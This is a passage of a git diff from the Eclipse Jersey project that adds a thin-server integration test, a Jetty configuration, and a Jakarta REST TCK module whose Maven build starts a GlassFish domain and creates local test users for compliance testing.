<artifactId>jersey-client</artifactId> + </dependency> + <dependency> + <groupId>org.glassfish.jersey.test-framework</groupId> + <artifactId>jersey-test-framework-util</artifactId> + <scope>test</scope> + </dependency> + <dependency> + <groupId>org.junit.jupiter</groupId> + <artifactId>junit-jupiter-api</artifactId> + <scope>test</scope> + </dependency> + <dependency> + <groupId>org.hamcrest</groupId> + <artifactId>hamcrest</artifactId> + <scope>test</scope> + </dependency> + </dependencies> + +</project>
diff --git a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java b/tests/integration/thin-server/src/main/java/org.glassfish.jersey.integration.thinserver/ThinServerResource.java similarity index 65% copy from core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java copy to tests/integration/thin-server/src/main/java/org.glassfish.jersey.integration.thinserver/ThinServerResource.java index dd25372..9cb3cb7 100644 --- a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java +++ b/tests/integration/thin-server/src/main/java/org.glassfish.jersey.integration.thinserver/ThinServerResource.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -14,7 +14,16 @@ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 */ -package org.glassfish.jersey.internal.jsr166; +package org.glassfish.jersey.integration.thinserver; -public interface JerseyFlowSubscriber<T> extends Flow.Subscriber<T> { +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; + +@Path("/") +public class ThinServerResource { + @GET + @Path("someget") + public String get() { + return ThinServerResource.class.getName(); + } }
diff --git a/tests/integration/thin-server/src/test/java/org/glassfish/jersey/integration/thinserver/ThinServerTest.java b/tests/integration/thin-server/src/test/java/org/glassfish/jersey/integration/thinserver/ThinServerTest.java new file mode 100644 index 0000000..d3b9916 --- /dev/null +++ b/tests/integration/thin-server/src/test/java/org/glassfish/jersey/integration/thinserver/ThinServerTest.java
@@ -0,0 +1,48 @@ +/* + * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.integration.thinserver; + +import jakarta.ws.rs.HttpMethod; +import jakarta.ws.rs.core.Response; +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.message.internal.OutboundJaxrsResponse; +import org.glassfish.jersey.message.internal.OutboundMessageContext; +import org.glassfish.jersey.server.ApplicationHandler; +import org.glassfish.jersey.server.ContainerRequest; +import org.glassfish.jersey.server.ContainerResponse; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.util.server.ContainerRequestBuilder; +import org.junit.jupiter.api.Test; + +import java.net.URI; +import java.util.concurrent.ExecutionException; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class ThinServerTest { + @Test + public void testGet() throws ExecutionException, InterruptedException { + ContainerRequest request = + ContainerRequestBuilder.from(URI.create("/someget"), HttpMethod.GET, new ClientConfig()).build(); + + ApplicationHandler applicationHandler = new ApplicationHandler(new ResourceConfig(ThinServerResource.class)); + ContainerResponse containerResponse = applicationHandler.apply(request).get(); + OutboundMessageContext outboundMessageContext = containerResponse.getWrappedMessageContext(); + Response response = new OutboundJaxrsResponse(containerResponse.getStatusInfo(), outboundMessageContext); + assertEquals(ThinServerResource.class.getName(), response.getEntity()); + } +}
diff --git a/tests/integration/tracing-support/pom.xml b/tests/integration/tracing-support/pom.xml index 9d4bcd9..8df78b9 100644 --- a/tests/integration/tracing-support/pom.xml +++ b/tests/integration/tracing-support/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>tracing-support</artifactId> @@ -78,15 +78,16 @@ </configuration> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> - <version>${jetty.version}</version> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> <configuration> - <connectors> - <connector> - <responseHeaderSize>16192</responseHeaderSize> - </connector> - </connectors> + <httpConnector combine.self="override"/> + <jettyXmls> + <jettyXml>${basedir}/src/test/resources/jetty.xml</jettyXml> + </jettyXmls> + <systemProperties> + <RESPONSE_HEADER_SIZE>16192</RESPONSE_HEADER_SIZE> + </systemProperties> <!-- server side config does not fork with jetty:run goal - it uses same jvm use maven '-D' option instead: mvn _goal_ -Djava.util.logging.config.file=target/test-classes/logging.properties
diff --git a/tests/integration/tracing-support/src/test/resources/jetty.xml b/tests/integration/tracing-support/src/test/resources/jetty.xml new file mode 100644 index 0000000..dc8582c --- /dev/null +++ b/tests/integration/tracing-support/src/test/resources/jetty.xml
@@ -0,0 +1,45 @@ +<?xml version="1.0"?> +<!-- + + Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + + This program and the accompanying materials are made available under the + terms of the Eclipse Public License v. 2.0, which is available at + http://www.eclipse.org/legal/epl-2.0. + + This Source Code may also be made available under the following Secondary + Licenses when the conditions for such availability set forth in the + Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + version 2 with the GNU Classpath Exception, which is available at + https://www.gnu.org/software/classpath/license.html. + + SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + +--> + +<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "https://www.eclipse.org/jetty/configure_10_0.dtd"> + +<Configure id="Server" class="org.eclipse.jetty.server.Server"> + <New id="HttpConfig" class="org.eclipse.jetty.server.HttpConfiguration"> + <Set name="responseHeaderSize"><SystemProperty name="RESPONSE_HEADER_SIZE"/></Set> + </New> + + <Call name="addConnector"> + <Arg> + <New class="org.eclipse.jetty.server.ServerConnector"> + <Arg name="server"><Ref refid="Server" /></Arg> + <Arg name="factories"> + <Array type="org.eclipse.jetty.server.ConnectionFactory"> + <Item> + <New class="org.eclipse.jetty.server.HttpConnectionFactory"> + <Arg name="config"><Ref refid="HttpConfig" /></Arg> + </New> + </Item> + </Array> + </Arg> + <Set name="port"><SystemProperty name="PORT"/></Set> + <Set name="idleTimeout"><SystemProperty name="IDLE_TIMEOUT"/></Set> + </New> + </Arg> + </Call> +</Configure> \ No newline at end of file
diff --git a/tests/jersey-tck/README.md b/tests/jersey-tck/README.md new file mode 100644 index 0000000..2457e01 --- /dev/null +++ b/tests/jersey-tck/README.md
@@ -0,0 +1,15 @@ +# Jakarta REST TCK + +The **Jakarta REST TCK** is a standalone kit for testing compliance of an implementation with the Jakarta REST specification. + + +## Performing Test + +While the test kit *is not dependent* of Maven, the most easy way to perform the tests is to create a copy of the sample Maven project found in the `jersey-tck` folder and adjust it to the actual needs of the implementation to be actually tested: +* Replace the dependency to Jersey by a dependency to the implementation to be actually tested. +* Execute `mvn verify`. +* Find the test result as part of Maven's output on the console or refer to the surefire reports. + +**Note:** Certainly the same can be performed using *other* build tools, like Gradle, or even by running a standalone Jupiter API compatible test runner (e. g. JUnit 5 Console Runner), as long as the Jakarta REST TCK JAR file and the implementation to test are both found on the classpath. + +**Hint:** The test project can safely get stored as part of the implementation, so it can be easily executed as part of the QA process.
diff --git a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties b/tests/jersey-tck/j2ee.pass similarity index 75% copy from test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties copy to tests/jersey-tck/j2ee.pass index 2886c72..7cd0e34 100644 --- a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties +++ b/tests/jersey-tck/j2ee.pass
@@ -1,5 +1,5 @@ # -# Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. # # This program and the accompanying materials are made available under the # terms of the Eclipse Public License v. 2.0, which is available at @@ -13,6 +13,4 @@ # # SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 # - -# {0} - status code; {1} - status reason message -not.supported=Jetty container is not supported on JDK version less than 11. +AS_ADMIN_USERPASSWORD=j2ee \ No newline at end of file
diff --git a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties b/tests/jersey-tck/javajoe.pass similarity index 75% copy from test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties copy to tests/jersey-tck/javajoe.pass index 2886c72..f06be72 100644 --- a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties +++ b/tests/jersey-tck/javajoe.pass
@@ -1,5 +1,5 @@ # -# Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. # # This program and the accompanying materials are made available under the # terms of the Eclipse Public License v. 2.0, which is available at @@ -13,6 +13,4 @@ # # SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 # - -# {0} - status code; {1} - status reason message -not.supported=Jetty container is not supported on JDK version less than 11. +AS_ADMIN_USERPASSWORD=javajoe \ No newline at end of file
diff --git a/tests/jersey-tck/pom.xml b/tests/jersey-tck/pom.xml new file mode 100644 index 0000000..0cd9ffd --- /dev/null +++ b/tests/jersey-tck/pom.xml
@@ -0,0 +1,545 @@ +<?xml version="1.0" encoding="UTF-8" ?> +<!-- + + Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved. + + This program and the accompanying materials are made available under the + terms of the Eclipse Public License v. 2.0, which is available at + http://www.eclipse.org/legal/epl-2.0. + + This Source Code may also be made available under the following Secondary + Licenses when the conditions for such availability set forth in the + Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + version 2 with the GNU Classpath Exception, which is available at + https://www.gnu.org/software/classpath/license.html. + + SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + +--> +<project xmlns="http://maven.apache.org/POM/4.0.0" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> + <modelVersion>4.0.0</modelVersion> + + <groupId>org.glassfish.jersey.core</groupId> + <artifactId>jersey-tck</artifactId> + <version>3.1.0</version> + <packaging>jar</packaging> + + <name>Jakarta RESTful WS Compliance for Jersey</name> + <description>This test verifies the compliance of Eclipse Jersey with Jakarta REST</description> + + <properties> + <maven.compiler.source>11</maven.compiler.source> + <maven.compiler.target>11</maven.compiler.target> + <jersey.version>3.1.2</jersey.version> <!-- the public version that pass the tck --> + <glassfish.container.version>7.0.4</glassfish.container.version> + <glassfish.home>${project.build.directory}/glassfish7</glassfish.home> + <jakarta.platform.version>10.0.0</jakarta.platform.version> + <junit.jupiter.version>5.7.2</junit.jupiter.version> + <jakarta.rest.version>3.1.0</jakarta.rest.version> + <tck.artifactId>jakarta-restful-ws-tck</tck.artifactId> + <tck.version>3.1.3</tck.version> + </properties> + + <dependencyManagement> + <dependencies> + <dependency> + <groupId>org.junit</groupId> + <artifactId>junit-bom</artifactId> + <version>${junit.jupiter.version}</version> + <type>pom</type> + <scope>import</scope> + </dependency> + <dependency> + <groupId>org.glassfish.jersey</groupId> + <artifactId>jersey-bom</artifactId> + <version>${jersey.version}</version> + <type>pom</type> + <scope>import</scope> + </dependency> + </dependencies> + </dependencyManagement> + + <repositories> + <repository> + <id>jakarta-snapshots</id> + <url>https://jakarta.oss.sonatype.org/content/repositories/staging/</url> + </repository> + </repositories> + + <dependencies> + <dependency> + <groupId>org.junit.jupiter</groupId> + <artifactId>junit-jupiter</artifactId> + <version>${junit.jupiter.version}</version> + </dependency> + + <dependency> + <groupId>org.glassfish.hk2</groupId> + <artifactId>hk2-locator</artifactId> + <version>3.0.0</version> + </dependency> + + <dependency> + <groupId>com.sun.xml.bind</groupId> + <artifactId>jaxb-impl</artifactId> + <version>3.0.0</version> + <scope>runtime</scope> + </dependency> + + <dependency> + <groupId>org.jboss.arquillian.container</groupId> + <artifactId>arquillian-glassfish-managed-6</artifactId> + <version>1.0.0.Alpha1</version> + </dependency> + + <dependency> + <groupId>jakarta.ws.rs</groupId> + <artifactId>${tck.artifactId}</artifactId> + <version>${tck.version}</version> + <scope>test</scope> + </dependency> + + <dependency> + <groupId>jakarta.ws.rs</groupId> + <artifactId>jakarta.ws.rs-api</artifactId> + <version>${project.version}</version> + <scope>test</scope> + </dependency> + + <dependency> + <groupId>org.hamcrest</groupId> + <artifactId>hamcrest</artifactId> + <version>2.2</version> + <scope>test</scope> + </dependency> + + <dependency> + <groupId>org.glassfish.main.common</groupId> + <artifactId>simple-glassfish-api</artifactId> + <version>${glassfish.container.version}</version> + </dependency> + + <dependency> + <groupId>org.jboss.arquillian.junit5</groupId> + <artifactId>arquillian-junit5-container</artifactId> + <version>1.7.0.Alpha10</version> + </dependency> + + <dependency> + <groupId>jakarta.platform</groupId> + <artifactId>jakarta.jakartaee-api</artifactId> + <version>${jakarta.platform.version}</version> + <scope>provided</scope> + </dependency> + + <dependency> + <groupId>commons-httpclient</groupId> + <artifactId>commons-httpclient</artifactId> + <version>3.1</version> + </dependency> + + <dependency> + <groupId>org.glassfish.jersey.core</groupId> + <artifactId>jersey-server</artifactId> + <version>${jersey.version}</version> + <scope>test</scope> + </dependency> + <dependency> + <groupId>org.glassfish.jersey.containers</groupId> + <artifactId>jersey-container-grizzly2-http</artifactId> + <version>${jersey.version}</version> + <scope>test</scope> + </dependency> + <dependency> + <groupId>org.netbeans.tools</groupId> + <artifactId>sigtest-maven-plugin</artifactId> + <version>1.4</version> + </dependency> + <dependency> + <groupId>org.glassfish.jersey.media</groupId> + <artifactId>jersey-media-json-binding</artifactId> + <version>${jersey.version}</version> + <scope>test</scope> + </dependency> + <dependency> + <groupId>org.glassfish.jersey.media</groupId> + <artifactId>jersey-media-jaxb</artifactId> + <version>${jersey.version}</version> + <scope>test</scope> + </dependency> + <dependency> + <groupId>org.glassfish.jersey.media</groupId> + <artifactId>jersey-media-sse</artifactId> + <version>${jersey.version}</version> + <scope>test</scope> + </dependency> + + </dependencies> + + + <build> + <plugins> + <plugin> + <groupId>org.apache.maven.plugins</groupId> + <artifactId>maven-dependency-plugin</artifactId> + <version>3.2.0</version> + <executions> + <execution> + <id>unpack</id> + <phase>pre-integration-test</phase> + <goals> + <goal>unpack</goal> + </goals> + <configuration> + <artifactItems> + <artifactItem> + <groupId>org.glassfish.main.distributions</groupId> + <artifactId>glassfish</artifactId> + <version>${glassfish.container.version}</version> + <type>zip</type> + <overWrite>false</overWrite> + <outputDirectory>${project.build.directory}</outputDirectory> + </artifactItem> + </artifactItems> + </configuration> + </execution> + <execution> + <id>copy</id> + <phase>pre-integration-test</phase> + <goals> + <goal>copy</goal> + </goals> + <configuration> + <artifactItems> + <artifactItem> + <groupId>org.glassfish.jersey.core</groupId> + <artifactId>jersey-client</artifactId> + <version>${jersey.version}</version> + <type>jar</type> + <overWrite>true</overWrite> + <outputDirectory>${glassfish.home}/glassfish/modules</outputDirectory> + <destFileName>jersey-client.jar</destFileName> + </artifactItem> + <artifactItem> + <groupId>org.glassfish.jersey.core</groupId> + <artifactId>jersey-server</artifactId> + <version>${jersey.version}</version> + <type>jar</type> + <overWrite>true</overWrite> + <outputDirectory>${glassfish.home}/glassfish/modules</outputDirectory> + <destFileName>jersey-server.jar</destFileName> + </artifactItem> + <artifactItem> + <groupId>org.glassfish.jersey.core</groupId> + <artifactId>jersey-common</artifactId> + <version>${jersey.version}</version> + <type>jar</type> + <overWrite>true</overWrite> + <outputDirectory>${glassfish.home}/glassfish/modules</outputDirectory> + <destFileName>jersey-common.jar</destFileName> + </artifactItem> + <artifactItem> + <groupId>org.glassfish.jersey.containers</groupId> + <artifactId>jersey-container-grizzly2-http</artifactId> + <version>${jersey.version}</version> + <type>jar</type> + <overWrite>true</overWrite> + <outputDirectory>${glassfish.home}/glassfish/modules</outputDirectory> + <destFileName>jersey-container-grizzly2-http.jar</destFileName> + </artifactItem> + <artifactItem> + <groupId>org.glassfish.jersey.containers</groupId> + <artifactId>jersey-container-servlet-core</artifactId> + <version>${jersey.version}</version> + <type>jar</type> + <overWrite>true</overWrite> + <outputDirectory>${glassfish.home}/glassfish/modules</outputDirectory> + <destFileName>jersey-container-servlet-core.jar</destFileName> + </artifactItem> + <artifactItem> + <groupId>org.glassfish.jersey.containers</groupId> + <artifactId>jersey-container-servlet</artifactId> + <version>${jersey.version}</version> + <type>jar</type> + <overWrite>true</overWrite> + <outputDirectory>${glassfish.home}/glassfish/modules</outputDirectory> + <destFileName>jersey-container-servlet.jar</destFileName> + </artifactItem> + <artifactItem> + <groupId>org.glassfish.jersey.media</groupId> + <artifactId>jersey-media-sse</artifactId> + <version>${jersey.version}</version> + <type>jar</type> + <overWrite>true</overWrite> + <outputDirectory>${glassfish.home}/glassfish/modules</outputDirectory> + <destFileName>jersey-media-sse.jar</destFileName> + </artifactItem> + <artifactItem> + <groupId>org.glassfish.jersey.media</groupId> + <artifactId>jersey-media-json-binding</artifactId> + <version>${jersey.version}</version> + <type>jar</type> + <overWrite>true</overWrite> + <outputDirectory>${glassfish.home}/glassfish/modules</outputDirectory> + <destFileName>jersey-media-json-binding.jar</destFileName> + </artifactItem> + <artifactItem> + <groupId>jakarta.ws.rs</groupId> + <artifactId>jakarta.ws.rs-api</artifactId> + <version>${jakarta.rest.version}</version> + <type>jar</type> + <overWrite>true</overWrite> + <outputDirectory>${glassfish.home}/glassfish/modules</outputDirectory> + <destFileName>jakarta.ws.rs-api.jar</destFileName> + </artifactItem> + </artifactItems> + </configuration> + </execution> + </executions> + </plugin> + <plugin> + <artifactId>exec-maven-plugin</artifactId> + <groupId>org.codehaus.mojo</groupId> + <executions> + <execution> + <id>StopDomain1</id> + <phase>pre-integration-test</phase> + <goals> + <goal>exec</goal> + </goals> + <configuration> + <workingDirectory>${asadmin.home}</workingDirectory> + <executable>${asadmin}</executable> + <arguments> + <argument>stop-domain</argument> + </arguments> + </configuration> + </execution> + <execution> + <id>StartDomain1</id> + <phase>pre-integration-test</phase> + <goals> + <goal>exec</goal> + </goals> + <configuration> + <workingDirectory>${asadmin.home}</workingDirectory> + <executable>${asadmin}</executable> + <arguments> + <argument>start-domain</argument> + </arguments> + </configuration> + </execution> + <execution> + <id>Enable Trace requests</id> + <phase>pre-integration-test</phase> + <goals> + <goal>exec</goal> + </goals> + <configuration> + <workingDirectory>${asadmin.home}</workingDirectory> + <executable>${asadmin}</executable> + <arguments> + <argument>set</argument> + <argument>server-config.network-config.protocols.protocol.http-listener-1.http.trace-enabled=true</argument> + </arguments> + </configuration> + </execution> + <execution> + <id>Delete User j2ee</id> + <phase>pre-integration-test</phase> + <goals> + <goal>exec</goal> + </goals> + <configuration> + <workingDirectory>${asadmin.home}</workingDirectory> + <executable>${asadmin}</executable> + <arguments> + <argument>--passwordfile</argument> + <argument>${project.basedir}/j2ee.pass</argument> + <argument>delete-file-user</argument> + <argument>j2ee</argument> + </arguments> + <successCodes> + <successCode>0</successCode> + <successCode>1</successCode> + </successCodes> + </configuration> + </execution> + <execution> + <id>Add User j2ee</id> + <phase>pre-integration-test</phase> + <goals> + <goal>exec</goal> + </goals> + <configuration> + <workingDirectory>${asadmin.home}</workingDirectory> + <executable>${asadmin}</executable> + <arguments> + <argument>--passwordfile</argument> + <argument>${project.basedir}/j2ee.pass</argument> + <argument>create-file-user</argument> + <argument>--groups</argument> + <argument>staff:mgr</argument> + <argument>j2ee</argument> + </arguments> + </configuration> + </execution> + <execution> + <id>Delete User javajoe</id> + <phase>pre-integration-test</phase> + <goals> + <goal>exec</goal> + </goals> + <configuration> + <workingDirectory>${asadmin.home}</workingDirectory> + <executable>${asadmin}</executable> + <arguments> + <argument>--passwordfile</argument> + <argument>${project.basedir}/javajoe.pass</argument> + <argument>delete-file-user</argument> + <argument>javajoe</argument> + </arguments> + <successCodes> + <successCode>0</successCode> + <successCode>1</successCode> + </successCodes> + </configuration> + </execution> + <execution> + <id>Add User javajoe</id> + <phase>pre-integration-test</phase> + <goals> + <goal>exec</goal> + </goals> + <configuration> + <workingDirectory>${asadmin.home}</workingDirectory> + <executable>${asadmin}</executable> + <arguments> + <argument>--passwordfile</argument> + <argument>${project.basedir}/javajoe.pass</argument> + <argument>create-file-user</argument> + <argument>--groups</argument> + <argument>guest</argument> + <argument>javajoe</argument> + </arguments> + </configuration> + </execution> + <execution> + <id>list users</id> + <phase>pre-integration-test</phase> + <goals> + <goal>exec</goal> + </goals> + <configuration> + <workingDirectory>${asadmin.home}</workingDirectory> + <executable>${asadmin}</executable> + <arguments> + <argument>list-file-users</argument> + </arguments> + </configuration> + </execution> + <execution> + <id>StopDomain</id> + <phase>pre-integration-test</phase> + <goals> + <goal>exec</goal> + </goals> + <configuration> + <workingDirectory>${asadmin.home}</workingDirectory> + <executable>${asadmin}</executable> + <arguments> + <argument>stop-domain</argument> + </arguments> + </configuration> + </execution> + </executions> + </plugin> + + <plugin> + <artifactId>maven-failsafe-plugin</artifactId> + <version>3.0.0-M5</version> + <executions> + <execution> + <id>gf-tests</id> + <goals> + <goal>integration-test</goal> + <goal>verify</goal> + </goals> + <configuration> + <excludes> + <exclude>**/SeBootstrapIT.java</exclude> + </excludes> + <skipTests>false</skipTests> <!-- Do not skip when the jersey-tck profile is on --> + <dependenciesToScan>jakarta.ws.rs:${tck.artifactId}</dependenciesToScan> + <systemPropertyVariables> + <GLASSFISH_HOME>${glassfish.home}</GLASSFISH_HOME> + <servlet_adaptor>org.glassfish.jersey.servlet.ServletContainer</servlet_adaptor> + <webServerHost>localhost</webServerHost> + <webServerPort>8080</webServerPort> + <junit.log.traceflag>true</junit.log.traceflag> + <user>j2ee</user> + <password>j2ee</password> + <authuser>javajoe</authuser> + <authpassword>javajoe</authpassword> + <porting.ts.url.class.1>ee.jakarta.tck.ws.rs.lib.implementation.sun.common.SunRIURL</porting.ts.url.class.1> + <jimage.dir>${project.build.directory}/jdk11-bundle</jimage.dir> + <optional.tech.packages.to.ignore>jakarta.xml.bind</optional.tech.packages.to.ignore> + <signature.sigTestClasspath>${glassfish.home}/glassfish/modules/jakarta.ws.rs-api.jar:${glassfish.home}/glassfish/modules/jakarta.xml.bind-api.jar:${project.build.directory}/jdk11-bundle/java.base:${project.build.directory}/jdk11-bundle/java.rmi:${project.build.directory}/jdk11-bundle/java.sql:${project.build.directory}/jdk11-bundle/java.naming</signature.sigTestClasspath> + </systemPropertyVariables> + <environmentVariables> + <GLASSFISH_HOME>${glassfish.home}</GLASSFISH_HOME> + </environmentVariables> + </configuration> + </execution> + <execution> + <id>se-tests</id> + <goals> + <goal>integration-test</goal> + <goal>verify</goal> + </goals> + <configuration> + <skipTests>false</skipTests> <!-- Do not skip when the jersey-tck profile is on --> + <includes> + <include>**/SeBootstrapIT.java</include> + </includes> + <dependenciesToScan>jakarta.ws.rs:${tck.artifactId}</dependenciesToScan> + </configuration> + </execution> + </executions> + </plugin> + </plugins> + </build> + <profiles> + <profile> + <id>onLinux</id> + <activation> + <os> + <family>unix</family> + </os> + </activation> + <properties> + <asadmin.home>${basedir}</asadmin.home> + <asadmin>${glassfish.home}/glassfish/bin/asadmin</asadmin> + </properties> + </profile> + <profile> + <id>onWindows</id> + <activation> + <os> + <family>Windows</family> + </os> + </activation> + <properties> + <asadmin.home>${glassfish.home}/glassfish/bin</asadmin.home> + <asadmin>asadmin</asadmin> + </properties> + </profile> + <profile> + <id>jersey-tck</id> + <properties> + <jersey.version>3.1.99-SNAPSHOT</jersey.version> <!-- When running the profile, use SNAPSHOT --> + </properties> + </profile> + </profiles> +</project>
diff --git a/tests/jersey-tck/src/main/java/org/glassfish/jersey/core/tck/JerseyApplicationArchiveProcessor.java b/tests/jersey-tck/src/main/java/org/glassfish/jersey/core/tck/JerseyApplicationArchiveProcessor.java new file mode 100644 index 0000000..c5597e5 --- /dev/null +++ b/tests/jersey-tck/src/main/java/org/glassfish/jersey/core/tck/JerseyApplicationArchiveProcessor.java
@@ -0,0 +1,35 @@ +/* + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.core.tck; + +import org.jboss.arquillian.container.test.spi.client.deployment.ApplicationArchiveProcessor; +import org.jboss.arquillian.test.spi.TestClass; +import org.jboss.shrinkwrap.api.Archive; +import org.jboss.shrinkwrap.api.spec.WebArchive; + +public class JerseyApplicationArchiveProcessor implements ApplicationArchiveProcessor { + @Override + public void process(Archive<?> archive, TestClass testClass) { + if ("jaxrs_ee_rs_container_requestcontext_security_web.war".equals(archive.getName())) { + WebArchive webArchive = (WebArchive) archive; + webArchive.addAsWebInfResource("jaxrs_ee_rs_container_requestcontext_security_web.war.sun-web.xml", "sun-web.xml"); + } else if ("jaxrs_ee_core_securitycontext_basic_web.war".equals(archive.getName())) { + WebArchive webArchive = (WebArchive) archive; + webArchive.addAsWebInfResource("jaxrs_ee_core_securitycontext_basic_web.war.sun-web.xml", "sun-web.xml"); + } + } +}
diff --git a/tests/jersey-tck/src/main/java/org/glassfish/jersey/core/tck/JerseyLoadableExtension.java b/tests/jersey-tck/src/main/java/org/glassfish/jersey/core/tck/JerseyLoadableExtension.java new file mode 100644 index 0000000..d4da355 --- /dev/null +++ b/tests/jersey-tck/src/main/java/org/glassfish/jersey/core/tck/JerseyLoadableExtension.java
@@ -0,0 +1,27 @@ +/* + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.core.tck; + +import org.jboss.arquillian.container.test.spi.client.deployment.ApplicationArchiveProcessor; +import org.jboss.arquillian.core.spi.LoadableExtension; + +public class JerseyLoadableExtension implements LoadableExtension { + @Override + public void register(ExtensionBuilder extensionBuilder) { + extensionBuilder.service(ApplicationArchiveProcessor.class, JerseyApplicationArchiveProcessor.class); + } +}
diff --git a/tests/jersey-tck/src/main/resources/META-INF/services/org.jboss.arquillian.core.spi.LoadableExtension b/tests/jersey-tck/src/main/resources/META-INF/services/org.jboss.arquillian.core.spi.LoadableExtension new file mode 100644 index 0000000..577c00f --- /dev/null +++ b/tests/jersey-tck/src/main/resources/META-INF/services/org.jboss.arquillian.core.spi.LoadableExtension
@@ -0,0 +1 @@ +org.glassfish.jersey.core.tck.JerseyLoadableExtension \ No newline at end of file
diff --git a/tests/jersey-tck/src/main/resources/jaxrs_ee_core_securitycontext_basic_web.war.sun-web.xml b/tests/jersey-tck/src/main/resources/jaxrs_ee_core_securitycontext_basic_web.war.sun-web.xml new file mode 100644 index 0000000..8e2a251 --- /dev/null +++ b/tests/jersey-tck/src/main/resources/jaxrs_ee_core_securitycontext_basic_web.war.sun-web.xml
@@ -0,0 +1,31 @@ +<?xml version="1.0" encoding="UTF-8"?> +<!-- + + Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. + + This program and the accompanying materials are made available under the + terms of the Eclipse Public License v. 2.0, which is available at + http://www.eclipse.org/legal/epl-2.0. + + This Source Code may also be made available under the following Secondary + Licenses when the conditions for such availability set forth in the + Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + version 2 with the GNU Classpath Exception, which is available at + https://www.gnu.org/software/classpath/license.html. + + SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + +--> + +<!DOCTYPE sun-web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Sun ONE Application Server 8.0 Servlet 2.4//EN" "http://www.sun.com/software/sunone/appserver/dtds/sun-web-app_2_5-0.dtd"> +<sun-web-app> + <context-root>jaxrs_ee_core_securitycontext_basic_web</context-root> + <security-role-mapping> + <role-name>DIRECTOR</role-name> + <principal-name>j2ee</principal-name> + </security-role-mapping> + <security-role-mapping> + <role-name>OTHERROLE</role-name> + <principal-name>javajoe</principal-name> + </security-role-mapping> 